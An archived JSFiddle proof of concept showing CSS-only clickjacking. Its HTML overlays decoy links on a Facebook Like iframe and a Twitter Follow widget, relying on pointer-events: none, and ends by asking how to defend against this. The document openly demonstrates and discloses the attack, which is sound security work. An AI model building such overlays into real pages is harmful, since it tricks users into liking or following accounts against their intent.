title: CSS-Only Clickjacking
description: "A JSFiddle proof of concept for clickjacking with CSS alone: a visible link is positioned over a Facebook Like or Twitter Follow iframe and given pointer-events: none, so the click passes through to the hidden button. The archived copy is the fiddle's HTML and CSS panels, including a second row that tints the overlays red to show the trick."

# CSS-Only Clickjacking

## HTML

```html
<h1>CSS-Only Clickjacking</h1>
<p>If you click on any of the links below your click will be passed to a hidden Facebook Like button (Click) or a Twitter Follow button (Dont' click) just below the links.</p>

<p>The magic is done with a simple CSS rule set in the style of the overlaying element.</p>

<pre>pointer-events: none;</pre>

<p class="extra-space">Links with hidden buttons behind:</p>
<div class="wrapper">
    <iframe src="//www.facebook.com/plugins/like.php?href=https%3A%2F%2Fwww.facebook.com%2Felweb&amp;send=false&amp;layout=button_count&amp;width=450&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=21&amp;appId=167204873351169" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:90px; height:21px;" allowTransparency="true"></iframe>
    <a href="#" class="facebook hide">Click</a>

    <a href="https://twitter.com/gcollazo" class="twitter-follow-button" data-show-count="false" data-size="large">Follow @gcollazo</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>
    <a href="#" class="twitter hide">Don't click</a>
</div>

<p class="extra-space">Here you can see how the a tags are hidding the buttons:</p>
<div class="wrapper">
    <iframe src="//www.facebook.com/plugins/like.php?href=https%3A%2F%2Fwww.facebook.com%2Felweb&amp;send=false&amp;layout=button_count&amp;width=450&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=21&amp;appId=167204873351169" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:90px; height:21px;" allowTransparency="true"></iframe>
    <a href="#" class="facebook show">Click</a>

    <a href="https://twitter.com/gcollazo" class="twitter-follow-button" data-show-count="false" data-size="large">Follow @gcollazo</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>
    <a href="#" class="twitter show">Don't click</a>
</div>

<p class="extra-space">This seems like a real security threat and I haven't found a foolproof way of detecting it. Is there a way of protecting against this kind of attack?</p>

<p>Thanks to <a href="http://twitter.com/elving">@elving</a>, telling me about this.</p>
